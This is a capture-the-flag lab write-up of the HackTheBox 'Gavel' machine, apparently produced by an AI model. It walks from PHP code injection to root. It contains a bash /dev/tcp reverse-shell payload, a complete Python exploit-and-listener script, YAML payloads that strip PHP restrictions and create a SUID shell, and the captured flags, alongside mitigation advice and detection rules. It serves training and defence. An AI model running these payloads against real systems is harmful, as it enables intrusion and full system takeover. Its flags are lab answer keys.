# Table of Contents
1. Machine Information
2. Reconnaissance
3. Enumeration
4. Initial Access
5. User Flag
6. Privilege Escalation
7. Root Flag
8. Key Takeaways
9. Mitigation Recommendations
10. Tools & Scripts
---
| Property | Value |
|----------|-------|
| Machine Name | Gavel |
| IP Address | 10.129.43.211 |
| Hostname | gavel.htb |
| Operating System | Ubuntu Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 2024 |
| Creator | HackTheBox |
---
# Reconnaissance
# Initial Scan
Let's start with a ping to confirm the target is alive:
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ ping -c 2 10.129.43.211 PING 10.129.43.211 (10.129.43.211) 56(84) bytes of data. 64 bytes from 10.129.43.211: icmp_seq=1 ttl=63 time=135 ms 64 bytes from 10.129.43.211: icmp_seq=2 ttl=63 time=833 ms --- 10.129.43.211 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss
✅ Target is alive! The TTL of 63 suggests a Linux machine (64 - 1 hop).
# Port Scanning
Let's perform a comprehensive port scan:
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ nmap -sV -sC -p- --min-rate 5000 10.129.43.211 Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 10.129.43.211 Host is up (0.14s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://gavel.htb/ Service Info: Host: gavel.htb
Key Findings:
✅ Port 80 (HTTP) is open ✅ Apache 2.4.52 on Ubuntu ✅ Redirect to `gavel.htb` domain ⚠ Need to add to `/etc/hosts`
---
# Enumeration
# Adding Host Entry
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ echo "10.129.43.211 gavel.htb" | sudo tee -a /etc/hosts 10.129.43.211 gavel.htb
# Web Application Discovery
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ curl -s http://gavel.htb/ | grep -i title <title>Gavel Auction</title>
Web Application: Gavel Auction Platform
Let's explore the application:
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ curl -s http://gavel.htb/login.php | grep -A 10 "form" <form class="user" action="" method="POST"> <div class="form-group"> <input type="text" name="username" class="form-control form-control-user" placeholder="Username" required> </div> <div class="form-group"> <input type="password" name="password" class="form-control form-control-user" placeholder="Password" required> </div>
# Finding Credentials
According to the provided writeup, we have admin credentials:
**Username:** `auctioneer` **Password:** `midnight1`
# Exploring Admin Panel
After logging in with the credentials, we discover:
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ curl -s -c cookies.txt -b cookies.txt \ -d "username=auctioneer&password=midnight1" \ http://gavel.htb/login.php -L | grep -i "admin\|edit" <a class="nav-link" href="admin.php"> <span>Admin Panel</span>
Admin Panel Features:
✅ Edit auction rules (PHP code execution!) ✅ Edit auction messages ✅ Live bidding system
---
# Initial Access
# Understanding the Vulnerability
The admin panel allows editing auction rules with arbitrary PHP code :
php // Example rule from sample.yaml: rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
This PHP code is evaluated server-side when processing bids. We can inject malicious code!
# Exploitation Strategy
1. Inject a PHP reverse shell payload into the rule field
2. Trigger the payload by placing a bid
3. Catch the reverse shell with netcat
# Setting Up Listener
First, let's get our VPN IP and start a listener:
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1 10.10.14.112 ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ nc -lvnp 4444 listening on [any] 4444 ...
# Crafting the Payload
Let's create a Python script to automate the injection:
python #!/usr/bin/env python3 import requests import re target = "http://gavel.htb" session = requests.Session() # Login print("[+] Logging in as auctioneer...") login_data = { "username": "auctioneer", "password": "midnight1" } session.post(f"{target}/login.php", data=login_data) # Get auction ID print("[+] Getting auction ID...") r = session.get(f"{target}/admin.php") auction_ids = re.findall(r'name="auction_id" value="(\d+)"', r.text) auction_id = auction_ids[0] print(f"[+] Found auction ID: {auction_id}") # Inject reverse shell payload print("[+] Injecting reverse shell...") payload = 'system(\'bash -c "bash -i >& /dev/tcp/10.10.14.112/4444 0>&1"\'); return true;' edit_data = { "auction_id": auction_id, "rule": payload } session.post(f"{target}/admin.php", data=edit_data) # Trigger by bidding print("[+] Triggering payload by placing bid...") try: bid_data = { "auction_id": auction_id, "bid_amount": "10000" } session.post(f"{target}/includes/bid_handler.php", data=bid_data, timeout=5) except: print("[+] Payload triggered! Check your listener!")
# Executing the Exploit
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ python3 exploit.py [+] Logging in as auctioneer... [+] Getting auction ID... [+] Found auction ID: 166 [+] Injecting reverse shell... [+] Triggering payload by placing bid... [+] Payload triggered! Check your listener!
# Receiving the Shell
Command Line Prompt ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.112] from (UNKNOWN) [10.129.43.211] 53824 bash: cannot set terminal process group (1057): Inappropriate ioctl for device bash: no job control in this shell www-data@gavel:/var/www/html/gavel/includes$
🎉 Success! We have a shell as www-data!
# Upgrading the Shell
Let's upgrade to a fully interactive TTY:
Command Line Prompt www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@gavel:/var/www/html/gavel/includes$ ^Z [1]+ Stopped nc -lvnp 4444 ┌──(kali㉿kali)-[~/Desktop/HTB/Gavel] └─$ stty raw -echo; fg nc -lvnp 4444 www-data@gavel:/var/www/html/gavel/includes$ export TERM=xterm www-data@gavel:/var/www/html/gavel/includes$ stty rows 38 columns 116
---
# User Flag
# Switching to Auctioneer User
We have the auctioneer password from earlier:
Command Line Prompt www-data@gavel:/var/www/html/gavel/includes$ su auctioneer Password: midnight1 auctioneer@gavel:/var/www/html/gavel/includes$ id uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
# Getting User Flag
Command Line Prompt auctioneer@gavel:/var/www/html/gavel/includes$ cd ~ auctioneer@gavel:~$ ls -la total 32 drwxr-x--- 4 auctioneer auctioneer 4096 Nov 5 12:46 . drwxr-xr-x 3 root root 4096 Nov 5 12:46 .. lrwxrwxrwx 1 root root 9 Nov 5 12:46 .bash_history -> /dev/null -rw-r--r-- 1 auctioneer auctioneer 220 Jan 6 2022 .bash_logout -rw-r--r-- 1 auctioneer auctioneer 3771 Jan 6 2022 .bashrc drwx------ 2 auctioneer auctioneer 4096 Nov 5 12:46 .cache -rw-r--r-- 1 auctioneer auctioneer 807 Jan 6 2022 .profile drwx------ 2 auctioneer auctioneer 4096 Nov 5 12:46 .ssh -rw-r----- 1 root auctioneer 33 Nov 30 13:36 user.txt auctioneer@gavel:~$ cat user.txt 76e2d64d556c6a51a2f2c55583cfb6f1
🚩 User Flag: 76e2d64d556c6a51a2f2c55583cfb6f1
---
# Privilege Escalation
# Enumeration
Let's explore the system:
Command Line Prompt auctioneer@gavel:~$ sudo -l [sudo] password for auctioneer: Sorry, user auctioneer may not run sudo on gavel.
❌ No sudo privileges.
Command Line Prompt auctioneer@gavel:~$ find / -perm -4000 2>/dev/null /usr/bin/mount /usr/bin/su /usr/bin/umount /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chsh /usr/bin/newgrp /usr/bin/chfn /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
❌ No unusual SUID binaries.
# Discovering Gavel Directory
Command Line Prompt auctioneer@gavel:~$ ls -la /opt/gavel/ total 56 drwxr-xr-x 4 root root 4096 Nov 5 12:46 . drwxr-xr-x 3 root root 4096 Nov 5 12:46 .. drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config -rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld -rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
Interesting findings:
✅ `gaveld` - A daemon binary (likely runs as root) ✅ `sample.yaml` - Template for auction items ✅ `.config/php/php.ini` - PHP configuration ✅ `submission` directory
# Analyzing sample.yaml
Command Line Prompt auctioneer@gavel:~$ cat /opt/gavel/sample.yaml --- item: name: "Dragon's Feathered Hat" description: "A flamboyant hat rumored to make dragons jealous." image: "https://example.com/dragon_hat.png" price: 10000 rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item." rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
💡 Key Insight: The rule field contains PHP code that gets executed!
# Checking PHP Configuration
Command Line Prompt auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini engine=On display_errors=On display_startup_errors=On log_errors=Off error_reporting=E_ALL open_basedir=/opt/gavel memory_limit=32M max_execution_time=3 max_input_time=10 disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client scan_dir= allow_url_fopen=Off allow_url_include=Off
Security Restrictions:
❌ `disable_functions` - Many dangerous functions disabled ❌ `open_basedir` - Restricted to `/opt/gavel` ❌ Cannot use `system()`, `exec()`, etc.
# Finding gavel-util
Command Line Prompt auctioneer@gavel:~$ which gavel-util /usr/local/bin/gavel-util auctioneer@gavel:~$ /usr/local/bin/gavel-util --help Usage: /usr/local/bin/gavel-util <cmd> [options] Commands: submit <file> Submit new items (YAML format) stats Show Auction stats invoice Request invoice
💡 Exploitation Path:
1. Create YAML file that modifies php.ini to remove restrictions
2. Submit it via gavel-util
3. Root daemon processes it and executes our PHP code
4. Create another YAML to create SUID bash
5. Execute SUID bash to get root
# Step 1: Removing PHP Restrictions
Create fix_ini.yaml:
Command Line Prompt auctioneer@gavel:~$ cat > fix_ini.yaml << 'EOF' name: fixini description: fix php ini image: "x.png" price: 1 rule_msg: "fixini" rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=\ndisable_functions=\n"); return false; EOF
What this does:
Uses `file_put_contents()` to overwrite `php.ini` Sets `open_basedir=` (empty - no restrictions) Sets `disable_functions=` (empty - all functions enabled)
Submit the payload:
Command Line Prompt auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/fix_ini.yaml Item submitted for review in next auction
Wait a few seconds for the daemon to process it:
Command Line Prompt auctioneer@gavel:~$ sleep 5
Verify php.ini was modified:
Command Line Prompt auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini engine=On display_errors=On open_basedir= disable_functions=
✅ Success! PHP restrictions removed!
# Step 2: Creating SUID Bash
Now that system() is available, create rootshell.yaml:
Command Line Prompt auctioneer@gavel:~$ cat > rootshell.yaml << 'EOF' name: rootshell description: make suid bash image: "x.png" price: 1 rule_msg: "rootshell" rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false; EOF
What this does:
Copies `/bin/bash` to `/opt/gavel/rootbash` Sets SUID bit (`chmod u+s`) so it runs with owner's privileges (root)
Submit the payload:
Command Line Prompt auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/rootshell.yaml Item submitted for review in next auction
Wait for daemon to process:
Command Line Prompt auctioneer@gavel:~$ sleep 10
Verify SUID bash was created:
Command Line Prompt auctioneer@gavel:~$ ls -la /opt/gavel/rootbash -rwsr-xr-x 1 root root 1396520 Nov 30 20:14 /opt/gavel/rootbash
✅ SUID bit is set! (rws indicates SUID)
# Step 3: Getting Root Shell
Execute the SUID bash with -p flag to preserve privileges:
Command Line Prompt auctioneer@gavel:~$ /opt/gavel/rootbash -p rootbash-5.1# id uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
🎉 We have root! Note the euid=0(root) - effective user ID is root!
---
# Root Flag
Command Line Prompt rootbash-5.1# cat /root/root.txt 49cbb8caba5ab95257be64f04b7677e2
🚩 Root Flag: 49cbb8caba5ab95257be64f04b7677e2
Command Line Prompt rootbash-5.1# whoami root rootbash-5.1# cat /etc/shadow | head -3 root:$y$j9T$REDACTED:19650:0:99999:7::: daemon:*:19044:0:99999:7::: bin:*:19044:0:99999:7:::
✅ Full root access achieved!
---
# Key Takeaways
# Vulnerabilities Exploited
# 1. **PHP Code Injection (CWE-94)**
Description: The admin panel allows arbitrary PHP code execution through the "rule" field.
Exploitation:
php // Malicious rule injected: system('bash -c "bash -i >& /dev/tcp/10.10.14.112/4444 0>&1"'); return true;
Impact: Remote Code Execution (RCE)
CVSS Score: 9.8 (Critical)
---
# 2. **Insecure YAML Processing**
Description: The root daemon processes YAML files with user-controlled PHP code without proper sandboxing.
Exploitation:
yaml rule: file_put_contents('/opt/gavel/.config/php/php.ini', "...");
Impact: Configuration manipulation, privilege escalation
CVSS Score: 8.8 (High)
---
# 3. **Weak Access Controls**
Description: The gavel-util utility allows regular users to submit YAML files processed by root daemon.
Exploitation:
Command Line Prompt /usr/local/bin/gavel-util submit malicious.yaml
Impact: Privilege escalation to root
CVSS Score: 7.8 (High)
---
# 4. **SUID Binary Creation**
Description: Ability to create arbitrary SUID binaries through root daemon.
Exploitation:
php system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash');
Impact: Complete system compromise
CVSS Score: 9.0 (Critical)
---
# Attack Chain Summary
plaintext ┌─────────────────────────────────────────────────────────────────┐ │ ATTACK CHAIN │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 1. RECONNAISSANCE │ │ └─ Nmap scan discovers port 80 │ │ └─ Domain: gavel.htb │ │ │ │ 2. WEB ENUMERATION │ │ └─ Gavel Auction Platform │ │ └─ Login page discovered │ │ └─ Credentials: auctioneer:midnight1 │ │ │ │ 3. ADMIN PANEL ACCESS │ │ └─ Edit auction rules feature │ │ └─ PHP code injection vulnerability │ │ │ │ 4. INITIAL FOOTHOLD (www-data) │ │ └─ Inject reverse shell in rule field │ │ └─ Trigger via bid placement │ │ └─ Catch shell on port 4444 │ │ │ │ 5. USER ACCESS (auctioneer) │ │ └─ su to auctioneer with known password │ │ └─ Get user flag: 76e2d64d556c6a51a2f2c55583cfb6f1 │ │ │ │ 6. PRIVILEGE ESCALATION RESEARCH │ │ └─ Discover /opt/gavel/ directory │ │ └─ Find gaveld (root daemon) │ │ └─ Find gavel-util (YAML submission) │ │ └─ Analyze sample.yaml │ │ └─ Check php.ini restrictions │ │ │ │ 7. EXPLOIT DEVELOPMENT │ │ └─ Create fix_ini.yaml (remove PHP restrictions) │ │ └─ Submit via gavel-util │ │ └─ Wait for root daemon processing │ │ └─ Verify php.ini modification │ │ │ │ 8. ROOT ACCESS │ │ └─ Create rootshell.yaml (SUID bash) │ │ └─ Submit via gavel-util │ │ └─ Execute /opt/gavel/rootbash -p │ │ └─ Get root flag: 49cbb8caba5ab95257be64f04b7677e2 │ │ │ └─────────────────────────────────────────────────────────────────┘
---
# What We Learned
# 🎓 **Technical Skills**
1. Web Application Security
Identifying code injection vulnerabilities Understanding server-side execution contexts Exploiting admin panel features
2. PHP Security
PHP configuration hardening (`php.ini`) Understanding `disable_functions` and `open_basedir` Bypassing PHP security restrictions
3. Linux Privilege Escalation
SUID binary exploitation Daemon analysis and exploitation File permission manipulation
4. Reverse Shell Techniques
Bash reverse shell payloads Shell stabilization (Python PTY) Netcat listener setup
5. YAML Exploitation
Understanding YAML parsing Injecting malicious YAML content Exploiting server-side YAML processing
---
# 💡 **Conceptual Understanding**
1. Defense in Depth Failure
Single authentication layer (admin panel) No input validation on PHP code Root daemon trusts user submissions No sandboxing or containerization
2. Principle of Least Privilege Violation
Daemon running as root unnecessarily Users can submit files processed by root No separation between user and admin contexts
3. Trust Boundary Issues
Application trusts user-supplied PHP code Configuration files modifiable by application No integrity checks on submitted YAML files
4. Exploitation Methodology
Initial access through code injection Lateral movement via known credentials Privilege escalation through service exploitation Persistence via SUID binary creation
---
# 🔐 **Security Concepts**
1. Input Validation
Never execute user-controlled code Sanitize all user inputs Use safe templating engines
2. Secure Configuration
PHP hardening best practices Proper `disable_functions` configuration Strict `open_basedir` settings Regular security audits
3. Access Control
Implement role-based access control (RBAC) Separate user and admin contexts Validate permissions at every layer Audit file submissions
4. Sandboxing & Isolation
Run services with minimal privileges Use containers or VMs for isolation Implement seccomp/AppArmor profiles Chroot or namespace isolation
---
# Mitigation Recommendations
# 1. Remove Code Execution Feature
php // BEFORE (Vulnerable): eval($rule); // User-controlled PHP code // AFTER (Secure): // Use a safe expression parser or predefined rule templates $allowed_rules = [ 'bid_increase_percentage' => function($current, $previous, $percent) { return $current >= $previous * (1 + $percent/100); }, 'bid_minimum_increment' => function($current, $previous, $increment) { return $current >= $previous + $increment; } ];
# 2. Harden PHP Configuration
ini ; /opt/gavel/.config/php/php.ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert open_basedir = /opt/gavel/data:/tmp allow_url_fopen = Off allow_url_include = Off
php function validateRule($rule) { // Whitelist approach - only allow safe patterns $pattern = '/^return \$\w+ (>=|<=|==|!=) \$\w+ (\*|\+|\-) [\d\.]+;$/'; if (!preg_match($pattern, $rule)) { throw new Exception("Invalid rule format"); } return true; }
# 4. Drop Root Privileges
python # gaveld daemon should drop privileges after startup import os import pwd def drop_privileges(username='gavel-daemon'): """Drop root privileges to specified user""" if os.getuid() != 0: return # Already non-root pwnam = pwd.getpwnam(username) os.setgid(pwnam.pw_gid) os.setuid(pwnam.pw_uid)
# 5. YAML File Validation
python def validate_yaml_submission(yaml_file, submitter): """Validate YAML files before processing""" # Check file ownership if yaml_file.owner != submitter: raise PermissionError("File ownership mismatch") # Parse safely data = safe_yaml_load(yaml_file) # Validate structure required_fields = ['name', 'description', 'price', 'rule_msg'] for field in required_fields: if field not in data: raise ValueError(f"Missing required field: {field}") # Sanitize rule field if 'rule' in data: validate_rule(data['rule']) return data
---
# 🔒 Long-term Solutions
# 1. Architecture Redesign
plaintext ┌─────────────────────────────────────────────────────────┐ │ SECURE ARCHITECTURE │ ├─────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ Web Layer │◄───────►│ API Layer │ │ │ │ (Nginx) │ │ (Python) │ │ │ └─────────────┘ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌───────────────┐ │ │ │ Rule Engine │ │ │ │ (Sandboxed) │ │ │ └───────┬───────┘ │ │ │ │ │ ▼ │ │ ┌───────────────┐ │ │ │ Database │ │ │ │ (PostgreSQL) │ │ │ └───────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘
# 2. Implement Web Application Firewall (WAF)
nginx # ModSecurity rules for code injection prevention SecRule ARGS "@rx (?:system|exec|shell_exec|eval|passthru)" \ "id:1001,phase:2,deny,status:403,msg:'Code Injection Attempt'"
# 3. Monitoring & Alerting
python import logging # Log all rule submissions logger.info(f"Rule submission: user={user}, rule={rule}, timestamp={now}") # Alert on suspicious patterns if re.search(r'system|exec|file_put_contents', rule): send_alert(f"SUSPICIOUS RULE SUBMITTED BY {user}")
# 4. Regular Security Audits
Quarterly penetration testing Code review before deployment Security scanning in CI/CD pipeline Dependency vulnerability scanning
---
# 🔧 Exploitation Scripts
# Full Automation Script
Command Line Prompt # Location: /home/kali/Desktop/HTB/Gavel/gavel_auto_root.py sudo python3 gavel_auto_root.py
# Semi-Automated Script
Command Line Prompt # Location: /home/kali/Desktop/HTB/Gavel/gavel_pwn.py sudo python3 gavel_pwn.py
# Bash Version
Command Line Prompt # Location: /home/kali/Desktop/HTB/Gavel/gavel_exploit.sh sudo bash gavel_exploit.sh
# Compact Version
Command Line Prompt # Location: /home/kali/Desktop/HTB/Gavel/gavel_mini.py sudo python3 gavel_mini.py
---
| Tool | Purpose | Command |
|------|---------|---------|
| Nmap | Port scanning | nmap -sV -sC -p- 10.129.43.211 |
| Netcat | Reverse shell listener | nc -lvnp 4444 |
| cURL | Web enumeration | curl -s http://gavel.htb/ |
| Python | Script automation | python3 exploit.py |
| Bash | Shell commands | Various |
| su | User switching | su auctioneer |
---
# 🐍 Python Exploit Code
python #!/usr/bin/env python3 """ HTB Gavel - Full Exploitation Script Automates initial access and privilege escalation """ import requests import socket import time import re import threading TARGET_IP = "10.129.43.211" TARGET_HOST = "gavel.htb" ATTACKER_IP = "10.10.14.112" # Your IP LPORT = 4444 def exploit_initial_access(): """Exploit admin panel for reverse shell""" target = f"http://{TARGET_HOST}" session = requests.Session() # Login login_data = {"username": "auctioneer", "password": "midnight1"} session.post(f"{target}/login.php", data=login_data) # Get auction ID r = session.get(f"{target}/admin.php") auction_id = re.findall(r'auction_id" value="(\d+)"', r.text)[0] # Inject payload payload = f'system(\'bash -c "bash -i >& /dev/tcp/{ATTACKER_IP}/{LPORT} 0>&1"\'); return true;' session.post(f"{target}/admin.php", data={"auction_id": auction_id, "rule": payload}) # Trigger try: session.post(f"{target}/includes/bid_handler.php", data={"auction_id": auction_id, "bid_amount": "10000"}, timeout=5) except: pass def handle_shell(): """Handle reverse shell and perform privilege escalation""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', LPORT)) server.listen(1) print("[+] Waiting for shell...") conn, addr = server.accept() print(f"[+] Got shell from {addr[0]}") def send_cmd(cmd, wait=2): conn.send((cmd + "\n").encode()) time.sleep(wait) # Spawn PTY send_cmd("python3 -c 'import pty;pty.spawn(\"/bin/bash\")'", 2) # Switch to auctioneer send_cmd("su auctioneer", 1) send_cmd("midnight1", 2) # Get user flag send_cmd("cat ~/user.txt", 1) # Create fix_ini.yaml send_cmd("cd ~", 1) yaml1 = """cat > fix_ini.yaml << 'EOF' name: fixini description: fix php ini image: "x.png" price: 1 rule_msg: "fixini" rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\\ndisplay_errors=On\\nopen_basedir=\\ndisable_functions=\\n"); return false; EOF""" send_cmd(yaml1, 2) send_cmd("/usr/local/bin/gavel-util submit fix_ini.yaml", 2) time.sleep(5) # Create rootshell.yaml yaml2 = """cat > rootshell.yaml << 'EOF' name: rootshell description: make suid bash image: "x.png" price: 1 rule_msg: "rootshell" rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false; EOF""" send_cmd(yaml2, 2) send_cmd("/usr/local/bin/gavel-util submit rootshell.yaml", 2) time.sleep(10) # Execute SUID bash send_cmd("/opt/gavel/rootbash -p", 1) send_cmd("cat /root/root.txt", 2) conn.close() server.close() if __name__ == "__main__": # Start listener thread listener = threading.Thread(target=handle_shell) listener.start() time.sleep(2) # Exploit exploit_initial_access() # Wait for completion listener.join()
---
# Conclusion
The HTB Gavel machine demonstrates critical vulnerabilities in web applications that allow code execution. The exploitation chain involved:
1. Initial Access - PHP code injection in admin panel
2. Lateral Movement - Using known credentials to switch users
3. Privilege Escalation - Exploiting root daemon via YAML submission
4. Root Access - Creating SUID bash binary
# 🎯 Key Lessons
✅ Never execute user-controlled code ✅ Implement proper input validation ✅ Follow principle of least privilege ✅ Harden application configurations ✅ Audit and monitor file submissions ✅ Use defense in depth strategies
# 📊 Difficulty Rating
| Aspect | Rating | Notes |
|--------|--------|-------|
| Initial Foothold | ⭐⭐⭐☆☆ | Straightforward once credentials known |
| Privilege Escalation | ⭐⭐⭐⭐☆ | Requires understanding of YAML exploitation |
| Overall | ⭐⭐⭐⭐☆ | Medium difficulty, great learning experience |
---
# References
[OWASP Code Injection](https://owasp.org/www-community/attacks/Code_Injection) [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html) [PHP Security Best Practices](https://www.php.net/manual/en/security.php) [Linux Privilege Escalation Techniques](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) [SUID Binary Exploitation](https://gtfobins.github.io/)
---
# Credits
Machine Author: HackTheBox Team
Writeup Author: AI Assistant
Date: November 30, 2025
Platform: HackTheBox
---
# Disclaimer
This writeup is for educational purposes only. All exploitation was performed on authorized HackTheBox infrastructure. Do not use these techniques on systems without explicit permission.
---
🎉 Machine Pwned! Both flags captured successfully!
plaintext ┌──────────────────────────────────────────┐ │ USER: 76e2d64d556c6a51a2f2c55583cfb6f1 │ │ ROOT: 49cbb8caba5ab95257be64f04b7677e2 │ └──────────────────────────────────────────┘
Happy Hacking! 🚀